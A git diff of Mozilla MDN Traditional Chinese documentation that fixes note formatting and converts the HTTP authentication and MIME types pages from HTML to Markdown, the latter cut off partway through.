diff --git a/files/zh-tw/web/api/formdata/index.md b/files/zh-tw/web/api/formdata/index.md index b8e31017a233ef..2df92837bba8bd 100644 --- a/files/zh-tw/web/api/formdata/index.md +++ b/files/zh-tw/web/api/formdata/index.md @@ -9,7 +9,7 @@ translation_of: Web/API/FormData 實作 `FormData` 的物件可以直接利用 {{jsxref("Statements/for...of", "for...of")}} 語法結構來替代 {{domxref('FormData.entries()', 'entries()')}}:`for (var p of myFormData)` 等同於 `for (var p of myFormData.entries())`。 -> **備註:**此特性適用於 [Web Workers](/zh-TW/docs/Web/API/Web_Workers_API)。 +> **備註:** 此特性適用於 [Web Workers](/zh-TW/docs/Web/API/Web_Workers_API)。 ## 建構式 diff --git a/files/zh-tw/web/css/ime-mode/index.md b/files/zh-tw/web/css/ime-mode/index.md index 31aaec57b56cab..631b9f168f123e 100644 --- a/files/zh-tw/web/css/ime-mode/index.md +++ b/files/zh-tw/web/css/ime-mode/index.md @@ -55,11 +55,11 @@ input[type=password] { } ``` -> **備註:**一般說來,公開的網站不該自行調整輸入法模式的行為。這個特性主要是給網際應用程式使用的。 +> **備註:** 一般說來,公開的網站不該自行調整輸入法模式的行為。這個特性主要是給網際應用程式使用的。 Mac 版的 Gecko 1.9 中,若某欄位設定停用輸入法,則自該欄位移開輸入焦點時並無法自行恢復輸入法狀態,所以若使用 `disabled` 值,Mac 的使用者可能會碰上麻煩。 -> **備註:**別僅僅仰賴停用輸入法的招術來避免使用者輸入擴充字元,因為即使輸入法被停用,使用者依然可自他處剪下擴充字元後貼到表單欄位中。 +> **備註:** 別僅僅仰賴停用輸入法的招術來避免使用者輸入擴充字元,因為即使輸入法被停用,使用者依然可自他處剪下擴充字元後貼到表單欄位中。 ### 規格出處 diff --git a/files/zh-tw/web/http/authentication/index.html b/files/zh-tw/web/http/authentication/index.html deleted file mode 100644 index b6037c3b67ae04..00000000000000 --- a/files/zh-tw/web/http/authentication/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: HTTP authentication -slug: Web/HTTP/Authentication -translation_of: Web/HTTP/Authentication ---- -
{{HTTPSidebar}}
- -

HTTP 提供一個用來存取控制及身分驗證框架. 最普遍的 HTTP 身分驗證是基於"Basic" schema. 本頁將介紹HTTP framework for authentication 以及如何限制存取你的伺服器 and HTTP "Basic" schema.

- -

The general HTTP authentication framework

- -

{{RFC("7235")}} 定義了HTTP 身分驗證框架,它可以被使用於server to {{glossary("challenge")}} a client request 以及 client 提供身分驗證資訊. The challenge and response flow works like this: The server responds to a client with a {{HTTPStatus("401")}} (Unauthorized) response status and provides information on how to authorize with a {{HTTPHeader("WWW-Authenticate")}} response header containing at least one challenge. A client that wants to authenticate itself with a server can then do so by including an {{HTTPHeader("Authorization")}} request header field with the credentials. Usually a client will present a password prompt to the user and will then issue the request including the correct Authorization header.

- -

- -

In the case of a "Basic" authentication like shown in the figure, the exchange must happen over an HTTPS (TLS) connection to be secure.

- -

Proxy authentication

- -

The same challenge and response mechanism can be used for proxy authentication. In this case, it is an intermediate proxy that requires authentication. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.

- -

Access forbidden

- -

If a (proxy) server receives valid credentials that are not adequate to gain access for a given resource, the server should respond with the {{HTTPStatus("403")}} Forbidden status code. Unlike {{HTTPStatus("401")}} Unauthorized or {{HTTPStatus("407")}} Proxy Authentication Required, authentication is impossible for this user.

- -

- -

Authentication of cross-origin images

- -

A potential security hole that has recently been fixed by browsers is authentication of cross-site images. From Firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.

- -

Character encoding of HTTP authentication

- -

Browsers use utf-8 encoding for usernames and passwords. Firefox used to use ISO-8859-1, but changed over to utf-8 for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}.

- -

- -

WWW-Authenticate and Proxy-Authenticate headers

- -

The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They need to specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials. The syntax for these headers is the following:

- -
WWW-Authenticate: <type> realm=<realm>
-Proxy-Authenticate: <type> realm=<realm>
-
- -

Here, <type> is the authentication scheme ("Basic" is the most common scheme and introduced below). The realm is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.

- -

Authorization and Proxy-Authorization headers

- -

The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.

- -
Authorization: <type> <credentials>
-Proxy-Authorization: <type> <credentials>
-
- -

Authentication schemes

- -

The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.

- -

The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a list of authentication schemes, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:

- - - -

Basic authentication scheme

- -

The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.

- -

Security of basic authentication

- -

As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.

- -

Restricting access with Apache and basic authentication

- -

To password-protect a directory on an Apache server, you will need a .htaccess and a .htpasswd file.

- -

The .htaccess file typically looks like this:

- -
AuthType Basic
-AuthName "Access to the staging site"
-AuthUserFile /path/to/.htpasswd
-Require valid-user
- -

The .htaccess file references a .htpasswd file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are encrypted (md5 in this case). Note that you can name your .htpasswd file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to .ht* files).

- -
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
-user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
-
- -

Restricting access with nginx and basic authentication

- -

For nginx, you will need to specify a location that you are going to protect and the auth_basic directive that provides the name to the password-protected area. The auth_basic_user_file directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.

- -
location /status {
-    auth_basic           "Access to the staging site";
-    auth_basic_user_file /etc/apache2/.htpasswd;
-}
- -

Access using credentials in the URL

- -

Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:

- -
https://username:password@www.example.com/
- -

The use of these URLs is deprecated. In Chrome, the username:password@ part in URLs is even stripped out for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."

- -

See also

- - diff --git a/files/zh-tw/web/http/authentication/index.md b/files/zh-tw/web/http/authentication/index.md new file mode 100644 index 00000000000000..0d03988e6ea3fb --- /dev/null +++ b/files/zh-tw/web/http/authentication/index.md @@ -0,0 +1,122 @@ +--- +title: HTTP authentication +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +{{HTTPSidebar}} + +HTTP 提供一個用來存取控制及身分驗證框架. 最普遍的 HTTP 身分驗證是基於"Basic" schema. 本頁將介紹 HTTP framework for authentication 以及如何限制存取你的伺服器 and HTTP "Basic" schema. + +## The general HTTP authentication framework + +{{RFC("7235")}} 定義了 HTTP 身分驗證框架,它可以被使用於 server to {{glossary("challenge")}} a client request 以及 client 提供身分驗證資訊. The challenge and response flow works like this: The server responds to a client with a {{HTTPStatus("401")}} (Unauthorized) response status and provides information on how to authorize with a {{HTTPHeader("WWW-Authenticate")}} response header containing at least one challenge. A client that wants to authenticate itself with a server can then do so by including an {{HTTPHeader("Authorization")}} request header field with the credentials. Usually a client will present a password prompt to the user and will then issue the request including the correct `Authorization` header. + +![](https://mdn.mozillademos.org/files/14689/HTTPAuth.png) + +In the case of a "Basic" authentication like shown in the figure, the exchange **must** happen over an HTTPS (TLS) connection to be secure. + +### Proxy authentication + +The same challenge and response mechanism can be used for _proxy authentication_. In this case, it is an intermediate proxy that requires authentication. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server. + +### Access forbidden + +If a (proxy) server receives valid credentials that are not adequate to gain access for a given resource, the server should respond with the {{HTTPStatus("403")}} `Forbidden` status code. Unlike {{HTTPStatus("401")}} `Unauthorized` or {{HTTPStatus("407")}} `Proxy Authentication Required`, authentication is impossible for this user. + +### Authentication of cross-origin images + +A potential security hole that has recently been fixed by browsers is authentication of cross-site images. From [Firefox 59](/zh-TW/docs/Mozilla/Firefox/Releases/59) onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page. + +### Character encoding of HTTP authentication + +Browsers use `utf-8` encoding for usernames and passwords. Firefox used to use `ISO-8859-1`, but changed over to `utf-8` for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}. + +### `WWW-Authenticate` and `Proxy-Authenticate` headers + +The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They need to specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials. The syntax for these headers is the following: + +```plain +WWW-Authenticate: realm= +Proxy-Authenticate: realm= +``` + +Here, `` is the authentication scheme ("Basic" is the most common scheme and [introduced below](/zh-TW/docs/Web/HTTP/Authentication#Basic_authentication_scheme)). The _realm_ is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to. + +### `Authorization` and `Proxy-Authorization` headers + +The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used. + +```plain +Authorization: +Proxy-Authorization: +``` + +### Authentication schemes + +The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software. + +The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a [list of authentication schemes](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml), but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include: + +- **Basic** (see {{rfc(7617)}}, base64-encoded credentials. See below for more information.), +- **Bearer** (see {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources), +- **Digest** (see {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support), +- **HOBA** (see {{rfc(7486)}} (draft), **H**TTP **O**rigin-**B**ound **A**uthentication, digital-signature-based), +- **Mutual** (see [draft-ietf-httpauth-mutual](https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11)), +- **AWS4-HMAC-SHA256** (see [AWS docs](http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html)). + +## Basic authentication scheme + +The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64. + +### Security of basic authentication + +As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information. + +### Restricting access with Apache and basic authentication + +To password-protect a directory on an Apache server, you will need a `.htaccess` and a `.htpasswd` file. + +The `.htaccess` file typically looks like this: + +```plain +AuthType Basic +AuthName "Access to the staging site" +AuthUserFile /path/to/.htpasswd +Require valid-user +``` + +The `.htaccess` file references a `.htpasswd` file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are [encrypted](https://httpd.apache.org/docs/2.4/misc/password_encryptions.html) (md5 in this case). Note that you can name your `.htpasswd` file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to `.ht*` files). + +```plain +aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +``` + +### Restricting access with nginx and basic authentication + +For nginx, you will need to specify a location that you are going to protect and the `auth_basic` directive that provides the name to the password-protected area. The `auth_basic_user_file` directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above. + +```plain +location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +} +``` + +### Access using credentials in the URL + +Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this: + +```plain example-bad +https://username:password@www.example.com/ +``` + +**The use of these URLs is deprecated**. In Chrome, the `username:password@` part in URLs is even[ stripped out](https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7) for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www\.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you." + +## See also + +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/zh-tw/web/http/basics_of_http/mime_types/index.html b/files/zh-tw/web/http/basics_of_http/mime_types/index.html deleted file mode 100644 index b40b0084f650a9..00000000000000 --- a/files/zh-tw/web/http/basics_of_http/mime_types/index.html +++ /dev/null @@ -1,324 +0,0 @@ ---- -title: MIME 類別 (IANA 媒體類別) -slug: Web/HTTP/Basics_of_HTTP/MIME_types -tags: - - HTTP - - MIME類別 - - 內容類別 -translation_of: Web/HTTP/Basics_of_HTTP/MIME_types ---- -
{{HTTPSidebar}}
- -

媒體類別(多用途網際網路郵件擴展或是MIME類別)是一種表示文件、檔案或各式位元組的標準。它被定義並規範在IETF的 {{RFC(6838)}}

- -

國際網路號碼分配局(IANA) 負責所有官方的MIME類別,你可以從他們的 Media Types 頁面找到最新且完整的類別清單。

- -
-

重要: 瀏覽器會採用MIME類別, 而非副檔名 ,來判定如何對URL進行處理。所以伺服器要在回應的{{HTTPHeader("Content-Type")}}裡放入正確的MIME類別,否則瀏覽器很有可能轉譯錯誤或是無法正常運作,造成下載的檔案無法被正常處理。

-
- -

MIME類別的結構

- -

最簡單的MIME類別由主類別(type)子類別(subtype)組成。兩個都是字串,並由一個斜線(/)相接,且不能包含任何空格:

- -
type/subtype
- -

主類別(type)代表廣泛性的分類,譬如video text子類別(subtype) 則定義該資料精確的MIME類別。例如MIME 類別為text, 子類可能會是 plain (純文字), html ({{Glossary("HTML")}} 源碼), 或calendar (iCalendar/.ics) 檔案。

- -

每一種主類別都可能有一組自己的子類別,MIME類別永遠都有主類別和子類別,從來不會只有單一個。

- -

後面加上的參數可以提供更多細節:

- -
type/subtype;parameter=value
- -

例如一個MIME類別的主類是 text, 選擇性的 charset 參數可以用來指明資料種所使用的字元集。如果沒有指明charset ,預設使用 {{Glossary("ASCII")}} (US-ASCII) ,除非被{{Glossary("user agent", "user agent's")}} 的設定覆蓋過去。 要指明一個UTF-8 的文字檔,可以使用 text/plain;charset=UTF-8 的MIME類別。

- -

MIME 類別對大小寫不敏感,但通常都會使用小寫。

- -

Types

- -

There are two classes of type: discrete and multipart. Discrete types are types which represent a single file or medium, such as a single text or music file, or a single video. A multipart type is one which represents a document that's comprised of multiple component parts, each of which may have its own individual MIME type; or, a multipart type may encapsulate multiple files being sent together in one transaction. For example, multipart MIME types are used when attaching multiple files to an email.

- -

Discrete types

- -

The discrete types currently registered with the IANA are:

- -
-
applicationList at IANA
-
Any kind of binary data that doesn't fall explicitly into one of the other types; either data that will be executed or interpreted in some way or binary data that requires a specific application or category of application to use. Generic binary data (or binary data whose true type is unknown) is application/octet-stream. Other common examples include application/pdf, application/pkcs8, and application/zip.
-
audio List at IANA
-
Audio or music data. Examples include audio/mpeg, audio/vorbis.
-
example
-
Reserved for use as a placeholder in examples showing how to use MIME types. These should never be used outside of sample code listings and documentation. example can also be used as a subtype; for instance, in an example related to working with audio on the web, the MIME type audio/example can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world.
-
font List at IANA
-
Font/typeface data. Common examples include font/woff, font/ttf, and font/otf.
-
image List at IANA
-
Image or graphical data including both bitmap and vector still images as well as animated versions of still image formats such as animated {{Glossary("GIF")}} or APNG. Common examples are image/jpeg, image/png, and image/svg+xml.
-
model List at IANA
-
Model data for a 3D object or scene. Examples include model/3mf and model/vml.
-
text List at IANA
-
Text-only data including any human-readable content, source code, or textual data such as comma-separated value (CSV) formatted data. Examples include text/plain, text/csv, and text/html.
-
video List at IANA
-
Video data or files, such as MP4 movies (video/mp4).
-
- -

For text documents without a specific subtype, text/plain should be used. Similarly, for binary documents without a specific or known subtype, application/octet-stream should be used.

- -

Multipart types

- -

Multipart types indicate a category of document broken into pieces, often with different MIME types; they can also be used — especially in email scenarios — to represent multiple, separate files which are all part of the same transaction. They represent a composite document.

- -

With the exception of multipart/form-data, used in the {{HTTPMethod("POST")}} method of HTML Forms, and multipart/byteranges, used with {{HTTPStatus("206")}} Partial Content to send part of a document, HTTP doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "Save As" window if it doesn't know how to display the document).

- -

There are two multipart types:

- -
-
message List at IANA
-
A message that encapsulates other messages. This can be used, for instance, to represent an email that includes a forwarded message as part of its data, or to allow sending very large messages in chunks as if it were multiple messages. Examples include message/rfc822 (for forwarded or replied-to message quoting) and message/partial to allow breaking a large message into smaller ones automatically to be reassembled by the recipient.
-
multipart List at IANA
-
Data that is comprised of multiple components which may individually have different MIME types. Examples include multipart/form-data (for data produced using the {{domxref("FormData")}} API) and multipart/byteranges (defined in {{RFC(7233, "5.4.1")}} and used with {{Glossary("HTTP")}}'s {{HTTPStatus(206)}} "Partial Content" response returned when the fetched data is only part of the content, such as is delivered using the {{HTTPHeader("Range")}} header).
-
- -

重要的MIME類別

- -

application/octet-stream

- -

這是二進制檔案的預設類別,代表未知的二進制檔案,通常瀏覽器都不執行或是會詢問是否要執行。They treat it as if the {{HTTPHeader("Content-Disposition")}} header was set to attachment, and propose a "Save As" dialog.

- -

text/plain

- -

文字檔案的預設類別。就算是未知的文字檔案,瀏覽器都先假設他們是可以被呈現於畫面的。

- -
-

注意 text/plain 不代表"任何一種文字檔案"。例如從用於表示CSS檔案的{{HTMLElement("link")}}元素載了一個 text/plain 檔案,瀏覽器不會識別該檔案為一個有效的CSS檔案。CSS的MIME類別必須要使用 text/css

-
- -

text/css

- -

用來套用在網頁的 CSS 檔案一定要配合 text/css 做傳輸。如果伺服器沒有將副檔名 .css 視為 CSS 檔案,伺服器有可能會使用 text/plain 或是 application/octet-stream 的 MIME 型態來傳輸檔案,而導致這些檔案不被大多數的瀏覽器當成 CSS 而被忽略。

- -

text/html

- -

All HTML content should be served with this type. Alternative MIME types for XHTML (like application/xhtml+xml) are mostly useless nowadays.

- -
-

Note: Use application/xml or application/xhtml+xml if you want XML’s strict parsing rules, <![CDATA[…]]> sections, or elements that aren't from HTML/SVG/MathML namespaces.

-
- -

text/javascript

- -

Per the HTML specification, JavaScript files should always be served using the MIME type text/javascript. No other values are considered valid, and using any of those may result in scripts that do not load or run.

- -

For historical reasons, the MIME Sniffing Standard (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) allows JavaScript to be served using any MIME type that essentially matches any of the following:

- -
    -
  • application/javascript
  • -
  • application/ecmascript
  • -
  • application/x-ecmascript {{Non-standard_Inline}}
  • -
  • application/x-javascript {{Non-standard_Inline}}
  • -
  • text/javascript
  • -
  • text/ecmascript
  • -
  • text/javascript1.0 {{Non-standard_Inline}}
  • -
  • text/javascript1.1 {{Non-standard_Inline}}
  • -
  • text/javascript1.2 {{Non-standard_Inline}}
  • -
  • text/javascript1.3 {{Non-standard_Inline}}
  • -
  • text/javascript1.4 {{Non-standard_Inline}}
  • -
  • text/javascript1.5 {{Non-standard_Inline}}
  • -
  • text/jscript {{Non-standard_Inline}}
  • -
  • text/livescript {{Non-standard_Inline}}
  • -
  • text/x-ecmascript {{Non-standard_Inline}}
  • -
  • text/x-javascript {{Non-standard_Inline}}
  • -
- -
-

Note: Even though any given {{Glossary("user agent")}} may support any or all of these, you should only use text/javascript. It's the only MIME type guaranteed to work now and into the future.

-
- -

Some content you find may have a charset parameter at the end of the text/javascript media type, to specify the character set used to represent the code's content. This is not valid, and in most cases will result in a script not being loaded.

- -

Image types

- -

Files whose MIME type is image contain image data. The subtype specifies which specific image file format the data represents. Only a few image types are used commonly enough to be considered safe for use on web pages:

- -

{{page("en-US/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}

- -

Audio and video types

- -

As is the case for images, HTML doesn't mandate that web browsers support any specific file and codec types for the {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements, so it's important to consider your target audience and the range of browsers (and versions of those browsers) they may be using when choosing the file type and codecs to use for media.

- -

Our media container formats guide provides a list of the file types that are commonly supported by web browsers, including information about what their special use cases may be, any drawbacks they have, and compatibility information, along with other details.

- -

The audio codec and video codec guides list the various codecs that web browsers often support, providing compatibility details along with technical information such as how many audio channels they support, what sort of compression is used, and what bit rates and so forth they're useful at. The codecs used by WebRTC guide expands upon this by specifically covering the codecs supported by the major web browsers, so you can choose the codecs that best cover the range of browsers you wish to support.

- -

As for MIME types of audio or video files, they typically specify the container format (file type). The optional codecs parameter can be added to the MIME type to further specify which codecs to use and what options were used to encode the media, such as codec profile, level, or other such information.

- -

The most commonly used MIME types used for web content are listed below. This isn't a complete list of all the types that may be available, however. See the media container formats guide for that.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MIME typeAudio or video type
audio/wave
- audio/wav
- audio/x-wav
- audio/x-pn-wav
An audio file in the WAVE container format. The PCM audio codec (WAVE codec "1") is often supported, but other codecs have limited support (if any).
audio/webmAn audio file in the WebM container format. Vorbis and Opus are the codecs officially supported by the WebM specification.
video/webmA video file, possibly with audio, in the WebM container format. VP8 and VP9 are the most common video codecs; Vorbis and Opus the most common audio codecs.
audio/oggAn audio file in the Ogg container format. Vorbis is the most common audio codec used in such a container; however, Opus is now supported by Ogg as well.
video/oggA video file, possibly with audio, in the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec, although Opus is becoming more common.
application/oggAn audio or video file using the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec.
- -

multipart/form-data

- -

The multipart/form-data type can be used when sending the values of a completed HTML Form from browser to server.

- -

As a multipart document format, it consists of different parts, delimited by a boundary (a string starting with a double dash --). Each part is its own entity with its own HTTP headers, {{HTTPHeader("Content-Disposition")}}, and {{HTTPHeader("Content-Type")}} for file uploading fields.

- -
Content-Type: multipart/form-data; boundary=aBoundaryString
-(other headers associated with the multipart document as a whole)
-
---aBoundaryString
-Content-Disposition: form-data; name="myFile"; filename="img.jpg"
-Content-Type: image/jpeg
-
-(data)
---aBoundaryString
-Content-Disposition: form-data; name="myField"
-
-(data)
---aBoundaryString
-(more subparts)
---aBoundaryString--
-
-
- -

The following <form>:

- -
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
-  <label>Name: <input name="myTextField" value="Test"></label>
-  <label><input type="checkbox" name="myCheckBox"> Check</label>
-  <label>Upload file: <input type="file" name="myFile" value="test.txt"></label>
-  <button>Send the file</button>
-</form>
- -

will send this message:

- -
POST / HTTP/1.1
-Host: localhost:8000
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate
-Connection: keep-alive
-Upgrade-Insecure-Requests: 1
-Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
-Content-Length: 465
-
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="myTextField"
-
-Test
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="myCheckBox"
-
-on
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="myFile"; filename="test.txt"
-Content-Type: text/plain
-
-Simple file.
------------------------------8721656041911415653955004498--
-
-
- -

multipart/byteranges

- -

The multipart/byteranges MIME type is used to send partial responses to the browser.

- -

When the {{HTTPStatus("206")}} Partial Content status code is sent, this MIME type indicates that the document is composed of several parts, one for each of the requested ranges. Like other multipart types, the {{HTTPHeader("Content-Type")}} uses a boundary to separate the pieces. Each piece has a {{HTTPHeader("Content-Type")}} header with its actual type and a {{HTTPHeader("Content-Range")}} of the range it represents.

- -
HTTP/1.1 206 Partial Content
-Accept-Ranges: bytes
-Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
-Content-Length: 385
-
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 100-200/1270
-
-eta http-equiv="Content-type" content="text/html; charset=utf-8" />
-    <meta name="vieport" content
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 300-400/1270
-
--color: #f0f0f2;
-        margin: 0;
-        padding: 0;
-        font-family: "Open Sans", "Helvetica
---3d6b6a416f9b5--
- -

Importance of setting the correct MIME type

- -

Most web servers send unrecognized resources as the application/octet-stream MIME type. For security reasons, most browsers do not allow setting a custom default action for such resources, forcing the user to save it to disk to use it.

- -

Some common incorrect server configurations:

- -
    -
  • -

    RAR-compressed files. In this case, the ideal would be the true type of the original files; this is often impossible as .RAR files can hold several resources of different types. In this case, configure the server to send application/x-rar-compressed.

    -
  • -
  • -

    Audio and video. Only resources with the correct MIME Type will be played in {{HTMLElement("video")}} or {{HTMLElement("audio")}} elements. Be sure to specify the correct media type for audio and video.

    -
  • -
  • -

    Proprietary file types. Avoid using application/octet-stream as most browsers do not allow defining a default behavior (like "Open in Word") for this generic MIME type. A specific type like application/vnd.mspowerpoint lets users open such files automatically in the presentation software of their choice.

    -
  • -
- -

MIME sniffing

- -

In the absence of a MIME type, or in certain cases where browsers believe they are incorrect, browsers may perform MIME sniffing — guessing the correct MIME type by looking at the bytes of the resource.

- -

Each browser performs MIME sniffing differently and under different circumstances. (For example, Safari will look at the file extension in the URL if the sent MIME type is unsuitable.) There are security concerns as some MIME types represent executable content. Servers can prevent MIME sniffing by sending the {{HTTPHeader("X-Content-Type-Options")}} header.

- -

Other methods of conveying document type

- -

MIME types are not the only way to convey document type information:

- -
    -
  • Filename suffixes are sometimes used, especially on Microsoft Windows. Not all operating systems consider these suffixes meaningful (such as Linux and MacOS), and there is no guarantee they are correct.
  • -
  • Magic numbers. The syntax of different formats allows file-type inference by looking at their byte structure. For example, GIF files start with the 47 49 46 38 39 hexadecimal value (GIF89), and PNG files with 89 50 4E 47 (.PNG). Not all file types have magic numbers, so this is not 100% reliable either.
  • -
- -

See also

- - diff --git a/files/zh-tw/web/http/basics_of_http/mime_types/index.md b/files/zh-tw/web/http/basics_of_http/mime_types/index.md new file mode 100644 index 00000000000000..7e534289ffeb2d --- /dev/null +++ b/files/zh-tw/web/http/basics_of_http/mime_types/index.md @@ -0,0 +1,277 @@ +--- +title: MIME 類別 (IANA 媒體類別) +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - HTTP + - MIME類別 + - 內容類別 +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +{{HTTPSidebar}} + +**媒體類別(多用途網際網路郵件擴展**或是**MIME 類別**)是一種表示文件、檔案或各式位元組的標準。它被定義並規範在 IETF 的 {{RFC(6838)}}**。** + +[國際網路號碼分配局(IANA)](https://www.iana.org/) 負責所有官方的 MIME 類別,你可以從他們的 [Media Types](https://www.iana.org/assignments/media-types/media-types.xhtml) 頁面找到最新且完整的類別清單。 + +> **警告:** **重要:** 瀏覽器會採用 MIME 類別, _而非副檔名_ ,來判定如何對 URL 進行處理。所以伺服器要在回應的{{HTTPHeader("Content-Type")}}裡放入正確的 MIME 類別,否則瀏覽器很有可能轉譯錯誤或是無法正常運作,造成下載的檔案無法被正常處理。 + +## MIME 類別的結構 + +最簡單的 MIME 類別由*主類別(type)*和*子類別(subtype)*組成。兩個都是字串,並由一個斜線(/)相接,且不能包含任何空格: + +```plain +type/subtype +``` + +_\*\*主類別(\_type)_**\_代表廣泛性的分類,譬如`video `或 `text`。**_子類別_**(**_subtype)_\*\* 則定義該資料精確的 MIME 類別。例如 MIME 類別為`text`, 子類可能會是 `plain` (純文字), `html` ({{Glossary("HTML")}} 源碼), 或`calendar` (iCalendar/`.ics`) 檔案。 + +每一種主類別都可能有一組自己的子類別,MIME 類別永遠都有主類別和子類別,從來不會只有單一個。 + +後面加上的參數可以提供更多細節: + +```plain +type/subtype;parameter=value +``` + +例如一個 MIME 類別的主類是 `text`, 選擇性的 `charset` 參數可以用來指明資料種所使用的字元集。如果沒有指明`charset` ,預設使用 {{Glossary("ASCII")}} (`US-ASCII`) ,除非被{{Glossary("user agent", "user agent's")}} 的設定覆蓋過去。 要指明一個 UTF-8 的文字檔,可以使用 `text/plain;charset=UTF-8` 的 MIME 類別。 + +MIME 類別對大小寫不敏感,但通常都會使用小寫。 + 